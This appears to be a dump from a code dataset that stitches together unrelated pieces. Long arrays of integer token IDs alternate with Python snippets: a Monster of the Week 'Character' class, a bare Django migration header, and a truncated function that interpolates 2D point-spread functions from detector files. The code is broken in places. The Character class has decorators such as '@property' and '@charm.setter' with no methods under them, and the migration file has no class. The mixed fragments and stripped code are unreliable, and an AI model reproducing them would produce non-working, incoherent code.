263,
11639,
82,
3256,
76,
16072,
11639,
86,
3256,
76,
413,
28,
17,
13,
15,
1776,
198,
489,
83,
13,
29487,
7,
83,
11,
70,
7,
16,
13,
17,
11,
17,
828,
66,
41888,
16,
13,
15,
11,
15,
13,
20,
11,
15,
13,
15,
4357,
7278,
11639,
438,
3256,
4102,
263,
11639,
29,
3256,
76,
16072,
11639,
66,
3256,
76,
413,
28,
16,
13,
15,
11,
907,
28,
940,
1776,
198,
198,
2,
267,
1582,
390,
720,
986,
3,
1296,
1045,
28686,
299,
21356,
647,
418,
12385,
20280,
363,
368,
1665,
55,
198,
489,
83,
13,
742,
3378,
26933,
15,
11,
45941,
13,
14415,
14,
17,
11,
37659,
13,
14415,
11,
18,
9,
37659,
13,
14415,
14,
17,
11,
17,
9,
37659,
13,
14415,
4357,
37250,
3,
15,
3,
41707,
3,
59,
14415,
14,
17,
3,
41707,
3,
59,
14415,
3,
41707,
3,
18,
14,
17,
59,
14415,
3,
41707,
3,
17,
59,
14415,
3,
20520,
1776,
220,
198,
489,
83,
13,
20760,
3378,
26933,
12,
16,
11,
657,
11,
352,
4357,
37250,
3,
88,
796,
532,
16,
3,
3256,
705,
3,
88,
796,
657,
3,
3256,
705,
3,
88,
796,
1343,
16,
3,
20520,
1776,
220,
198,
198,
21017,
2935,
17946,
3263,
78,
390,
304,
844,
418,
26303,
15152,
198,
198,
16748,
304,
844,
418,
26303,
15152,
24573,
368,
1055,
1409,
312,
418,
31215,
503,
8847,
1426,
72,
16175,
127,
113,
274,
9277,
81,
6557,
380,
292,
304,
355,
275,
585,
292,
12379,
6184,
94,
21468,
390,
7110,
363,
368,
748,
4604,
38768,
514,
25440,
4600,
2777,
500,
44646,
198,
198,
2,
7110,
363,
368,
12379,
1257,
16175,
28749,
198,
87,
796,
45941,
13,
21602,
10223,
32590,
18,
11,
18,
8,
198,
489,
83,
13,
29487,
7,
87,
11,
87,
1174,
16,
14,
17,
9,
37659,
13,
31369,
7,
87,
13219,
15,
13,
20,
1776,
1303,
277,
7,
87,
8,
796,
18872,
248,
87,
9,
6248,
7,
87,
8,
532,
352,
14,
17,
198,
897,
796,
458,
83,
13,
70,
6888,
3419,
220,
220,
198,
198,
897,
13,
2777,
1127,
17816,
3506,
6,
4083,
2617,
62,
8043,
10786,
23108,
11537,
1303,
4781,
275,
585,
64,
19958,
5350,
198,
897,
13,
2777,
1127,
17816,
4852,
6,
4083,
2617,
62,
8043,
10786,
23108,
11537,
1303,
4781,
275,
585,
64,
9098,
198,
198,
897,
13,
2777,
1127,
17816,
22487,
6,
4083,
2617,
62,
9150,
7,
10786,
7890,
3256,
15,
4008,
1303,
748,
75,
11216,
304,
844,
78,
31215,
2124,
796,
657,
198,
897,
13,
2777,
1127,
17816,
9464,
6,
4083,
2617,
62,
9150,
7,
10786,
7890,
3256,
15,
4008,
1303,
748,
75,
11216,
304,
844,
78,
31215,
331,
796,
657,
198,
198,
897,
13,
87,
22704,
13,
2617,
62,
83,
3378,
62,
9150,
10786,
4852,
11537,
1303,
748,
75,
11216,
1667,
6888,
16175,
127,
113,
274,
31215,
269,
8083,
198,
897,
13,
88,
22704,
13,
2617,
62,
83,
3378,
62,
9150,
10786,
3506,
11537,
1303,
748,
75,
11216,
1667,
6888,
16175,
127,
113,
274,
31215,
257,
19958,
5350,
198,
198,
489,
83,
13,
742,
3378,
26933,
12,
17,
11,
15,
11,
17,
12962,
1303,
8343,
64,
36066,
390,
2124,
198,
897,
13,
2617,
62,
742,
624,
23912,
1424,
7,
17816,
274,
80,
2637,
4032,
22570,
41707,
15908,
2637,
12962,
1303,
8343,
64,
4378,
23912,
1424,
390,
2124,
198,
198,
489,
83,
13,
20760,
3378,
26933,
12,
15,
13,
19,
11,
15,
11,
15,
13,
19,
12962,
1303,
8343,
64,
36066,
390,
331,
198,
897,
13,
2617,
62,
20760,
624,
23912,
1424,
7,
17816,
37330,
2637,
4032,
22570,
41707,
10745,
2637,
36563,
1303,
8343,
64,
4378,
23912,
1424,
390,
331,
198,
198,
21017,
554,
2655,
16175,
28749,
390,
8177,
292,
198,
198,
47,
3301,
269,
380,
1670,
418,
25,
198,
198,
12,
334,
2611,
1232,
7438,
31215,
28686,
1036,
6557,
69,
291,
418,
11,
514,
321,
418,
4600,
1455,
437,
44646,
198,
12,
334,
2611,
1232,
7438,
31215,
267,
304,
844,
78,
2124,
11,
514,
321,
418,
4600,
87,
18242,
63,
198,
12,
334,
2611,
1232,
7438,
31215,
267,
304,
844,
78,
331,
11,
514,
321,
418,
4600,
2645,
9608,
63,
198,
12,
23781,
256,
8836,
83,
43348,
31215,
267,
1036,
6557,
69,
3713,
11,
514,
321,
418,
4600,
7839,
63,
198,
198,
1174,
3109,
18856,
78,
25,
1174,
458,
1258,
267,
1036,
6557,
69,
3713,
12379,
1005,
64,
720,
69,
62,
16,
7,
87,
8,
796,
2124,
1343,
352,
3,
304,
12379,
1005,
64,
720,
69,
62,
17,
7,
87,
8,
796,
352,
532,
2124,
3,
304,
512,
291,
7935,
334,
2611,
1232,
7438,
401,
21758,
35560,
377,
304,
300,
19173,
6592,
13,
198,
198,
489,
83,
13,
29487,
7,
87,
11,
2124,
1343,
352,
4032,
12,
65,
3256,
6167,
796,
705,
88,
796,
2124,
1343,
352,
6,
1267,
198,
489,
83,
13,
29487,
7,
87,
11,
352,
12,
87,
11,
269,
796,
685,
16,
13,
15,
11,
15,
13,
20,
11,
15,
13,
15,
4357,
6167,
796,
705,
88,
796,
352,
532,
2124,
24036,
1303,
300,
19173,
6592,
25,
1802,
4,
390,
3326,
17694,
8873,
11,
2026,
4,
3326,
2934,
198,
489,
83,
13,
1455,
437,
7,
17946,
796,
705,
13466,
11537,
1303,
705,
17946,
28,
13466,
6,
1058,
7758,
17899,
1957,
23638,
16175,
28749,
12379,
1232,
7438,
198,
489,
83,
13,
87,
18242,
10786,
87,
24036,
458,
83,
13,
2645,
9608,
10786,
88,
24036,
458,
83,
13,
7839,
10786,
8642,
6557,
69,
3713,
390,
7043,
292,
1005,
292,
24036,
198,
198,
4242,
10714,
23638,
16175,
28749,
390,
8177,
292,
198,
198,
11041,
4600,
17946,
28,
2100,
273,
63,
31215,
1658,
431,
7790,
283,
319,
2934,
1426,
47430,
283,
257,
1232,
7438,
13,
5765,
4600,
489,
83,
13,
1455,
437,
30,
63,
31215,
3326,
811,
283,
355,
1426,
72,
16175,
127,
113,
274,
4596,
261,
8836,
303,
271,
31215,
4600,
2100,
273,
44646,
42551,
7400,
10304,
390,
1188,
2850,
4600,
14749,
10903,
63,
304,
4600,
14749,
6127,
44646,
198,
198,
489,
83,
13,
29487,
7,
37659,
13,
12647,
11,
37659,
13,
12647,
11,
18242,
11639,
45828,
826,
24036,
1303,
15709,
1058,
407,
257,
1271,
198,
489,
83,
13,
1455,
437,
7,
17946,
28,
16,
1776,
1303,
514,
25440,
299,
21356,
647,
78,
198,
198,
489,
83,
13,
29487,
7,
37659,
13,
12647,
11,
37659,
13,
12647,
11,
18242,
11639,
17946,
28,
16,
24036,
198,
489,
83,
13,
1455,
437,
7,
17946,
11639,
45828,
826,
24036,
1303,
514,
25440,
257,
4731,
21076,
68,
198,
198,
21017,
32770,
64,
16175,
28749,
390,
256,
10546,
8873,
390,
277,
38599,
198,
198,
47,
3301,
8343,
283,
267,
256,
10546,
8873,
12379,
277,
38599,
390,
8177,
292,
11,
779,
4600,
10331,
7857,
44646,
198,
198,
489,
83,
13,
29487,
7,
37659,
13,
12647,
11,
37659,
13,
12647,
11,
18242,
11639,
1455,
7438,
24036,
198,
198,
10652,
87,
11,
376,
13940,
11,
23324,
1455,
11,
376,
1273,
270,
796,
838,
11,
1160,
11,
1542,
11,
2319,
198,
198,
489,
83,
13,
87,
18242,
10786,
36,
844,
78,
2124,
3256,
66,
11639,
65,
3256,
10369,
7857,
28,
10652,
87,
8,
198,
489,
83,
13,
2645,
9608,
10786,
36,
844,
78,
331,
3256,
66,
11639,
70,
3256,
10369,
7857,
28,
10652,
88,
8,
198,
489,
83,
13,
1455,
437,
7,
17946,
11639,
16159,
3256,
10369,
7857,
28,
10652,
1455,
1776,
220,
198,
489,
83,
13,
7839,
10786,
51,
8836,
83,
43348,
3256,
269,
11639,
66,
3256,
10369,
7857,
28,
37,
1273,
270,
1776,
198,
198,
21017,
1052,
4265,
16175,
127,
113,
274,
985,
2374,
220,
198,
198,
41565,
368,
418,
13358,
84,
343,
281,
4265,
16175,
127,
113,
274,
795,
1036,
6557,
69,
291,
418,
401,
257,
1257,
16175,
28749,
4600,
34574,
378,
7,
5239,
78,
11,
87,
5420,
11,
88,
5420,
8,
63,
198,
198,
489,
83,
13,
29487,
7,
37659,
13,
12647,
11,
37659,
13,
12647,
1776,
198,
489,
83,
13,
34574,
378,
10786,
47,
357,
15,
13,
20,
11,
15,
13,
20,
8,
3256,
7,
15,
13,
20,
11,
15,
13,
20,
18125,
198,
489,
83,
13,
34574,
378,
10786,
48,
357,
15,
13,
16,
11,
15,
13,
23,
8,
3256,
7,
15,
13,
16,
11,
15,
13,
23,
18125,
198,
198,
1174,
3109,
18856,
78,
1174,
25,
308,
567,
23781,
11644,
403,
1462,
390,
838,
45443,
418,
29568,
87,
11,
88,
8,
3,
31341,
265,
10205,
380,
418,
795,
8358,
720,
15,
13,
17,
1279,
2124,
11,
88,
1279,
657,
13,
23,
3,
304,
281,
1258,
12,
418,
645,
1410,
78,
13,
198,
198,
2,
308,
8607,
334,
2611,
1351,
64,
390,
838,
45443,
418,
5244,
1031,
31110,
257,
1779,
72,
16175,
28749,
198,
47,
796,
17635,
198,
4514,
18896,
7,
47,
8,
14512,
838,
25,
198,
220,
220,
220,
2124,
88,
796,
45941,
13,
744,
7,
37659,
13,
25120,
13,
25192,
7,
17,
828,
16,
8,
220,
198,
220,
220,
220,
1332,
796,
45941,
13,
439,
7,
357,
5431,
1875,
657,
13,
17,
8,
1222,
357,
5431,
1279,
657,
13,
23,
8,
1267,
198,
220,
220,
220,
611,
1332,
25,
198,
220,
220,
220,
220,
220,
220,
220,
350,
13,
33295,
7,
83,
29291,
7,
5431,
4008,
198,
198,
2,
458,
4265,
267,
1410,
78,
198,
489,
83,
13,
26875,
7,
5647,
7857,
16193,
23,
11,
23,
4008,
198,
489,
83,
13,
87,
2475,
7,
15,
11,
16,
8,
198,
489,
83,
13,
88,
2475,
7,
15,
11,
16,
8,
198,
198,
1640,
279,
5957,
287,
350,
25,
220,
220,
220,
220,
198,
220,
220,
220,
458,
83,
13,
29487,
7,
79,
5957,
58,
15,
4357,
79,
5957,
58,
16,
60,
4032,
78,
11537,
198,
220,
220,
220,
458,
83,
13,
34574,
378,
7,
69,
6,
15090,
79,
5957,
58,
15,
60,
5512,
90,
79,
5957,
58,
16,
60,
30072,
3256,
79,
5957,
11,
10331,
7857,
28,
1415,
8,
198,
198,
1174,
2964,
903,
2611,
25,
1174,
267,
269,
10205,
12894,
78,
936,
8083,
2169,
23781,
1917,
64,
13,
4643,
361,
2350,
8358,
4600,
11925,
7,
47,
8,
796,
838,
47671,
12422,
9766,
299,
28749,
458,
4265,
28686,
838,
45443,
418,
401,
78,
308,
455,
283,
8836,
321,
418,
390,
3326,
13,
39373,
549,
430,
267,
8358,
1556,
6557,
936,
38599,
15695,
78,
304,
2632,
261,
3099,
334,
2611,
1540,
84,
16175,
28749,
13,
198,
198,
2235,
15237,
29487,
363,
368,
304,
304,
844,
418,
198,
198,
2949,
2603,
29487,
8019,
11,
24573,
368,
418,
491,
44349,
9869,
401,
257,
1257,
16175,
28749,
4600,
7266,
29487,
7,
76,
11,
77,
11,
79,
8,
63,
31215,
269,
380,
283,
285,
21356,
2528,
24705,
292,
2336,
17786,
304,
304,
844,
418,
4795,
274,
401,
78,
384,
269,
4763,
2336,
5330,
277,
418,
325,
23781,
5002,
78,
390,
334,
2611,
4490,
68,
366,
6759,
47847,
390,
2336,
17786,
1,
390,
4600,
76,
63,
9493,
10134,
304,
4600,
77,
63,
951,
403,
292,
11,
34593,
14723,
4600,
79,
63,
38251,
267,
6184,
255,
358,
501,
12379,
2336,
5330,
357,
29872,
1188,
273,
1055,
6557,
645,
285,
6557,
87,
25147,
267,
40426,
9390,
4600,
36802,
77,
63,
737,
317,
1257,
16175,
28749,
25439,
32792,
12379,
384,
5162,
600,
68,
1296,
64,
13,
220,
198,
198,
12,
1475,
18856,
78,
352,
25,
7418,
261,
3099,
8358,
12776,
25792,
8358,
8704,
269,
380,
283,
513,
2336,
17786,
304,
4596,
27083,
12,
21921,
795,
334,
2611,
6184,
118,
77,
3970,
9493,
3099,
13,
21420,
68,
6124,
78,
11,
4600,
76,
796,
352,
47671,
4600,
77,
796,
513,
63,
304,
4600,
79,
63,
5553,
283,
6557,
390,
352,
257,
513,
11,
410,
396,
78,
8358,
4600,
36802,
77,
796,
513,
44646,
198,
198,
12,
1475,
18856,
78,
362,
25,
7418,
261,
3099,
8358,
12776,
25792,
8358,
8704,
269,
380,
283,
718,
2336,
17786,
304,
4596,
27083,
12,
21921,
795,
362,
9493,
10134,
304,
513,
951,
403,
292,
13,
21420,
68,
6124,
78,
11,
4600,
76,
796,
362,
47671,
4600,
77,
796,
513,
63,
304,
4600,
79,
63,
5553,
283,
6557,
390,
352,
257,
718,
11,
410,
396,
78,
8358,
4600,
36802,
77,
796,
718,
44646,
198,
198,
12,
1475,
18856,
78,
513,
25,
7418,
261,
3099,
8358,
12776,
25792,
8358,
8704,
269,
380,
283,
1105,
2336,
17786,
304,
4596,
27083,
12,
21921,
795,
604,
9493,
10134,
304,
513,
951,
403,
292,
13,
21420,
68,
6124,
78,
11,
4600,
76,
796,
604,
47671,
4600,
77,
796,
513,
63,
304,
4600,
79,
63,
5553,
283,
6557,
390,
352,
257,
1105,
11,
410,
396,
78,
8358,
4600,
36802,
77,
796,
1105,
44646,
220,
198,
198,
34,
4763,
7110,
363,
368,
1184,
9019,
384,
84,
304,
844,
78,
4795,
972,
68,
12379,
503,
430,
13,
198,
198,
1174,
3109,
18856,
78,
352,
25,
1174,
1036,
6557,
69,
3713,
390,
352,
1005,
64,
11,
352,
1582,
6557,
65,
5708,
304,
352,
755,
259,
27083,
76,
952,
269,
21356,
65,
3713,
300,
4533,
257,
300,
4533,
13,
198,
198,
87,
796,
45941,
13,
21602,
10223,
32590,
20,
11,
20,
11,
1238,
8,
198,
198,
489,
83,
13,
26875,
7,
5647,
7857,
16193,
1314,
11,
19,
4008,
198,
198,
2,
14839,
72,
279,
796,
352,
198,
489,
83,
13,
7266,
29487,
7,
16,
11,
18,
11,
16,
8,
1303,
458,
83,
13,
7266,
29487,
7,
22042,
8,
256,
4131,
2634,
76,
38251,
410,
6557,
75,
3755,
198,
489,
83,
13,
29487,
7,
87,
11,
17,
9,
87,
12,
16,
11,
66,
11639,
81,
3256,
4102,
263,
11639,
61,
11537,
198,
489,
83,
13,
7839,
10786,
3,
88,
28,
17,
87,
12,
16,
3,
11537,
198,
198,
2,
14839,
72,
279,
796,
362,
198,
489,
83,
13,
7266,
29487,
7,
16,
11,
18,
11,
17,
8,
1303,
458,
83,
13,
7266,
29487,
7,
19924,
8,
256,
4131,
2634,
76,
38251,
410,
6557,
75,
3755,
198,
489,
83,
13,
29487,
7,
87,
11,
18,
9,
87,
1174,
17,
532,
362,
9,
87,
532,
352,
11,
66,
11639,
70,
3256,
4102,
263,
11639,
78,
11537,
198,
489,
83,
13,
7839,
10786,
3,
88,
28,
18,
87,
61,
17,
532,
362,
87,
532,
352,
3,
11537,
198,
198,
2,
14839,
72,
279,
796,
513,
198,
489,
83,
13,
7266,
29487,
7,
16,
11,
18,
11,
18,
8,
1303,
458,
83,
13,
7266,
29487,
7,
16945,
8,
256,
4131,
2634,
76,
38251,
410,
6557,
75,
3755,
198,
489,
83,
13,
29487,
7,
87,
11,
16,
14,
17,
9,
87,
1174,
18,
1343,
513,
9,
87,
1174,
17,
532,
362,
9,
87,
532,
352,
11,
66,
11639,
65,
3256,
4102,
263,
11639,
9,
11537,
198,
489,
83,
13,
7839,
10786,
3,
88,
28,
16,
14,
17,
87,
61,
18,
1343,
513,
87,
61,
17,
532,
362,
87,
532,
352,
3,
24036,
198,
198,
1174,
3109,
18856,
78,
362,
25,
1174,
1036,
6557,
69,
291,
418,
390,
1391,
3,
6248,
7,
87,
8,
47113,
720,
6248,
7,
17,
87,
8,
47113,
720,
6248,
7,
18,
87,
8,
3,
92,
304,
1391,
3,
6966,
7,
87,
8,
47113,
720,
6966,
7,
17,
87,
8,
47113,
720,
6966,
7,
18,
87,
8,
3,
92,
4596,
455,
418,
795,
2603,
47847,
362,
87,
18,
13,
198,
198,
489,
83,
13,
26875,
7,
5647,
7857,
16193,
1314,
11,
19,
4008,
198,
489,
83,
13,
7266,
489,
1747,
62,
23032,
7,
4852,
28,
17,
13,
20,
11,
3506,
28,
16,
13,
17,
8,
1303,
257,
3137,
64,
257,
2880,
64,
16175,
28749,
23430,
21528,
773,
1699,
6413,
271,
198,
198,
4299,
3308,
6966,
87,
7,
79,
2599,
198,
220,
220,
220,
2124,
796,
45941,
13,
21602,
10223,
7,
15,
11,
17,
9,
37659,
13,
14415,
11,
1120,
8,
220,
220,
220,
220,
198,
220,
220,
220,
458,
83,
13,
7266,
29487,
7,
17,
11,
18,
11,
79,
8,
198,
220,
220,
220,
611,
279,
19841,
513,
25,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
458,
83,
13,
29487,
7,
87,
11,
37659,
13,
31369,
7,
79,
9,
87,
828,
66,
41888,
79,
14,
19,
11,
79,
14,
20,
11,
79,
14,
21,
4357,
18242,
28,
69,
6,
3,
6248,
15090,
79,
92,
87,
8,
3,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
458,
83,
13,
7839,
7,
69,
338,
549,
29487,
7,
17,
11,
18,
11,
90,
79,
30072,
24036,
198,
220,
220,
220,
2073,
25,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
458,
83,
13,
7839,
7,
69,
338,
549,
29487,
7,
17,
11,
18,
11,
90,
79,
30072,
24036,
198,
220,
220,
220,
220,
220,
220,
220,
279,
12,
28,
18,
1303,
220,
198,
220,
220,
220,
220,
220,
220,
220,
458,
83,
13,
29487,
7,
87,
11,
37659,
13,
6966,
7,
79,
9,
87,
828,
66,
41888,
79,
14,
24,
11,
79,
14,
22,
11,
79,
14,
23,
4357,
18242,
28,
69,
6,
3,
6966,
15090,
79,
92,
87,
8,
3,
11537,
198,
220,
220,
220,
220,
198,
220,
220,
220,
458,
83,
13,
1455,
437,
7,
17946,
28,
15,
11,
10331,
7857,
28,
23,
8,
198,
220,
220,
220,
458,
83,
13,
87,
18242,
10786,
87,
24036,
458,
83,
13,
2645,
9608,
10786,
88,
24036,
220,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
2,
7110,
363,
368,
220,
220,
220,
220,
220,
198,
1640,
279,
287,
2837,
7,
16,
11,
22,
2599,
198,
220,
220,
220,
3308,
6966,
87,
7,
79,
8,
198,
198,
1174,
3109,
18856,
78,
513,
25,
1174,
1036,
6557,
69,
291,
418,
390,
23781,
279,
5957,
7010,
4533,
795,
2603,
47847,
604,
2124,
513,
13,
198,
198,
489,
83,
13,
26875,
7,
5647,
7857,
16193,
1314,
11,
19,
4008,
198,
76,
11,
77,
796,
604,
11,
18,
198,
220,
220,
220,
220,
198,
1640,
279,
287,
2837,
7,
16,
11,
76,
9,
77,
10,
16,
2599,
198,
220,
220,
220,
3491,
7,
79,
1776,
198,
198,
2235,
1345,
1747,
401,
9559,
4533,
198,
198,
41565,
368,
418,
387,
65,
6392,
283,
267,
9559,
4533,
514,
25440,
4600,
25928,
7,
65,
11,
4758,
11,
22704,
8,
44646,
198,
198,
47,
3301,
1658,
431,
7790,
283,
267,
9559,
4533,
25,
220,
198,
198,
12,
795,
4915,
418,
28686,
304,
844,
418,
11,
779,
4600,
65,
11639,
17821,
6,
63,
267,
84,
4600,
65,
11639,
25101,
6,
44646,
198,
12,
17266,
1504,
11,
1450,
273,
267,
84,
4915,
418,
11,
779,
4600,
4758,
11639,
22478,
6,
47671,
4600,
4758,
11639,
1084,
273,
6,
63,
267,
84,
4600,
4758,
11639,
16885,
6,
44646,
198,
12,
43630,
304,
844,
418,
2124,
11,
331,
267,
84,
4915,
418,
11,
779,
4600,
22704,
11639,
87,
6,
47671,
4600,
22704,
11639,
88,
6,
63,
267,
84,
4600,
22704,
11639,
16885,
6,
44646,
198,
198,
87,
796,
45941,
13,
21602,
10223,
32590,
940,
11,
940,
8,
198,
489,
83,
13,
29487,
7,
87,
11,
87,
8,
198,
489,
83,
13,
25928,
7,
17821,
8,
198,
198,
489,
83,
13,
29487,
7,
87,
11,
87,
8,
198,
489,
83,
13,
25928,
7,
17821,
11,
4758,
11639,
22478,
3256,
22704,
11639,
87,
11537,
198,
198,
489,
83,
13,
29487,
7,
87,
11,
87,
8,
198,
489,
83,
13,
25928,
7,
17821,
11,
4758,
11639,
22478,
3256,
22704,
11639,
88,
11537,
198,
198,
1174,
3109,
18856,
78,
25,
1174,
7110,
363,
368,
390,
9559,
4533,
13,
198,
198,
45,
29872,
21433,
78,
11,
23781,
304,
844,
78,
450,
2536,
5549,
38251,
512,
47430,
4533,
523,
4679,
257,
2336,
5330,
357,
66,
380,
4763,
19958,
83,
3263,
68,
8,
1796,
368,
645,
279,
5957,
357,
15,
13,
36629,
11,
15,
13,
36629,
828,
2552,
5330,
657,
13,
3865,
304,
5988,
5330,
657,
13,
3865,
13,
198,
198,
897,
796,
458,
83,
13,
897,
274,
26933,
15,
13,
36629,
11,
657,
13,
36629,
11,
657,
13,
3865,
11,
657,
13,
3865,
12962,
198,
897,
13,
2617,
62,
87,
2475,
7,
15,
11,
19,
8,
198,
897,
13,
2617,
62,
88,
2475,
7,
15,
11,
18,
8,
198,
198,
2,
20401,
33711,
1352,
2803,
11129,
344,
45443,
418,
390,
3522,
25792,
10782,
544,
31215,
2659,
271,
28749,
12379,
9559,
198,
897,
13,
87,
22704,
13,
2617,
62,
22478,
62,
17946,
1352,
7,
489,
83,
13,
31217,
33711,
1352,
7,
16,
13,
15,
4008,
1303,
2659,
271,
273,
17266,
1504,
795,
1395,
198,
897,
13,
87,
22704,
13,
2617,
62,
1084,
273,
62,
17946,
1352,
7,
489,
83,
13,
31217,
33711,
1352,
7,
15,
13,
17,
4008,
1303,
2659,
271,
273,
17266,
1504,
795,
1395,
198,
897,
13,
88,
22704,
13,
2617,
62,
22478,
62,
17946,
1352,
7,
489,
83,
13,
31217,
33711,
1352,
7,
16,
13,
15,
4008,
1303,
2659,
271,
273,
17266,
1504,
795,
575,
198,
897,
13,
88,
22704,
13,
2617,
62,
1084,
273,
62,
17946,
1352,
7,
489,
83,
13,
31217,
33711,
1352,
7,
15,
13,
16,
4008,
1303,
2659,
271,
273,
17266,
1504,
795,
575,
198,
198,
2,
2632,
2228,
2367,
288,
292,
9493,
10134,
198,
897,
13,
25928,
7,
4758,
11639,
22478,
3256,
16488,
11639,
87,
3256,
9493,
413,
5649,
28,
15,
13,
2425,
11,
9493,
10992,
11639,
12,
3256,
3124,
11639,
81,
11537,
198,
897,
13,
25928,
7,
4758,
11639,
1084,
273,
3256,
16488,
11639,
87,
3256,
9493,
413,
5649,
28,
15,
13,
20,
11,
9493,
10992,
28,
10354,
3256,
3124,
11639,
65,
11537,
198,
897,
13,
25928,
7,
4758,
11639,
22478,
3256,
16488,
11639,
88,
3256,
9493,
413,
5649,
28,
15,
13,
2425,
11,
9493,
10992,
11639,
12,
3256,
3124,
11639,
81,
11537,
198,
897,
13,
25928,
7,
4758,
11639,
1084,
273,
3256,
16488,
11639,
88,
3256,
9493,
413,
5649,
28,
15,
13,
20,
11,
9493,
10992,
28,
10354,
3256,
3124,
11639,
70,
11537,
198,
198,
2,
31215,
816,
2502,
355,
36066,
11,
512,
291,
7935,
401,
298,
6557,
380,
418,
198,
2,
897,
13,
2617,
62,
742,
624,
23912,
1424,
26933,
12962,
198,
2,
897,
13,
2617,
62,
20760,
624,
23912,
1424,
7,
21737,
1776,
198,
198,
489,
83,
13,
29487,
7,
87,
11,
87,
4032,
74,
11537,
198,
489,
83,
13,
29487,
7,
87,
12095,
87,
10,
19,
4032,
74,
11537,
198,
198,
2235,
1345,
1747,
401,
662,
24421,
3681,
78,
198,
198,
41565,
368,
418,
514,
283,
4600,
20797,
62,
23395,
63,
31215,
269,
380,
283,
662,
24421,
3681,
418,
390,
6184,
94,
21468,
795,
1036,
6557,
69,
291,
418,
13,
220,
198,
198,
87,
796,
45941,
13,
21602,
10223,
32590,
37659,
13,
14415,
11,
45941,
13,
14415,
11,
3126,
8,
198,
88,
796,
45941,
13,
31369,
7,
17,
9,
87,
27493,
37659,
13,
6966,
7,
87,
14,
17,
8,
198,
198,
489,
83,
13,
20797,
62,
23395,
7,
87,
11,
88,
11,
26591,
28,
15,
13,
20,
1776,
198,
198,
87,
796,
45941,
13,
21602,
10223,
32590,
37659,
13,
14415,
11,
45941,
13,
14415,
11,
3126,
8,
198,
69,
16,
796,
45941,
13,
31369,
7,
17,
9,
87,
8,
198,
69,
17,
796,
657,
13,
20,
9,
37659,
13,
31369,
7,
17,
9,
87,
8,
198,
198,
489,
83,
13,
29487,
7,
87,
11,
69,
16,
11,
66,
11639,
81,
24036,
198,
489,
83,
13,
29487,
7,
87,
11,
69,
17,
11,
66,
11639,
74,
24036,
198,
489,
83,
13,
20797,
62,
23395,
7,
87,
11,
69,
16,
11,
69,
17,
11,
8043,
11639,
70,
3256,
26591,
28,
15,
13,
17,
1776
] | 2.202508 | 8,133 |
from pprint import pprint as pp
from character_tracker.basic_moves import basic_moves
from character_tracker.roller import Roller
from character_tracker.utils import get_int_input, get_str_input
class Character(object):
"""A Monster of the Week game character.
"""
@property
@charm.setter
@property
@cool.setter
@property
@tough.setter
@property
@weird.setter
@property
@sharp.setter
if __name__ == "__main__":
pass
| [
6738,
279,
4798,
1330,
279,
4798,
355,
9788,
198,
6738,
2095,
62,
2213,
10735,
13,
35487,
62,
76,
5241,
1330,
4096,
62,
76,
5241,
198,
6738,
2095,
62,
2213,
10735,
13,
10646,
1330,
24945,
198,
6738,
2095,
62,
2213,
10735,
13,
26791,
1330,
651,
62,
600,
62,
15414,
11,
651,
62,
2536,
62,
15414,
628,
198,
4871,
15684,
7,
15252,
2599,
198,
220,
220,
220,
37227,
32,
12635,
286,
262,
6119,
983,
2095,
13,
628,
220,
220,
220,
37227,
628,
220,
220,
220,
2488,
26745,
628,
220,
220,
220,
2488,
354,
1670,
13,
2617,
353,
628,
220,
220,
220,
2488,
26745,
628,
220,
220,
220,
2488,
24494,
13,
2617,
353,
628,
220,
220,
220,
2488,
26745,
628,
220,
220,
220,
2488,
83,
619,
13,
2617,
353,
628,
220,
220,
220,
2488,
26745,
628,
220,
220,
220,
2488,
732,
1447,
13,
2617,
353,
628,
220,
220,
220,
2488,
26745,
628,
220,
220,
220,
2488,
48554,
13,
2617,
353,
628,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
220,
220,
1208,
198
] | 2.76 | 175 |
# Generated by Django 2.2.5 on 2019-10-04 18:34
from django.db import migrations
| [
2,
2980,
515,
416,
37770,
362,
13,
17,
13,
20,
319,
13130,
12,
940,
12,
3023,
1248,
25,
2682,
198,
198,
6738,
42625,
14208,
13,
9945,
1330,
15720,
602,
628
] | 2.766667 | 30 |
import numpy as np
def provide_PSF_2D(x=None,y=None,PSF_version=None):
""" Provides 2D PSF at any position in the detector plane
This a version which takes a finite nubmer of pregenerated PSF and \
creates the interpolated version at required position
(Future: version which takes interpolated values for Zernike \
coefficients and generates image on the fly?)
To be used with the focused data taken on July 25 and 26
(e.g., 21400 for HgAr, 21604 for Ne, 21808 for Kr)
Example usage: ``provide_PSF_2D(10,2010)'' 10 is x-coordinate,
and 2010 is y-coordinate
@param[in] x x-coordinate
@param[in] y y-coordinate
@param[in] PSF_version version of the PSF input files
@returns numpy array, 100x100, oversampled 5 times,
corresponding to 20x20 physical pixels
(300x300 microns)
"""
# on tiger the directory contaning array of PSFs is at:
DATA_DIRECTORY='/tigress/ncaplar/PIPE2D-450/'
if PSF_version is None:
PSF_version='Sep12_v1'
positions_of_simulation=np.load(DATA_DIRECTORY+\
'positions_of_simulation_00_from_'+PSF_version+'.npy')
array_of_simulation=np.load(DATA_DIRECTORY+\
'array_of_simulation_00_from_'+PSF_version+'.npy')
# x and y position with simulated PSFs
x_positions_of_simulation=positions_of_simulation[:,1]
y_positions_of_simulation=positions_of_simulation[:,2]
# This is a simple code that finds the closest avaliable PSFs, given the x and y position
# This will have to be improved in order when we get to work with the full populated dectector plane
# how far in x-dimension are you willing to search for suitable simulated PSFs
x_search_distance=20
# positions of all simulated PSFs in that range
positions_of_simulation_in_acceptable_x_range=\
positions_of_simulation[(x_positions_of_simulation<(x+x_search_distance))\
&(x_positions_of_simulation>(x-x_search_distance))]
# if there are no simulated PSF avaliable in the specified x-range we are not able to provide the solution
if len(positions_of_simulation_in_acceptable_x_range)<2:
print('No simulated PSFs are avaliable in this x-area of the detector,')
print('probably because this fiber has not been illuminated;')
print('returning the closest avaliable PSFs, BUT that is probably not what you want')
distances=np.sqrt(((x-x_positions_of_simulation)**2+\
(y-y_positions_of_simulation)**2).astype(float))
index_of_closest_distance=np.where(distances[distances==\
np.min(distances)])[0][0]
return array_of_simulation[index_of_closest_distance]
# y-distance from the requested positions for all of the suitable simulated PSFs
distances_of_y_requested_position_from_avaliable=\
y-positions_of_simulation_in_acceptable_x_range[:,2]
# out of the suitable PSFs which 2 are the closest
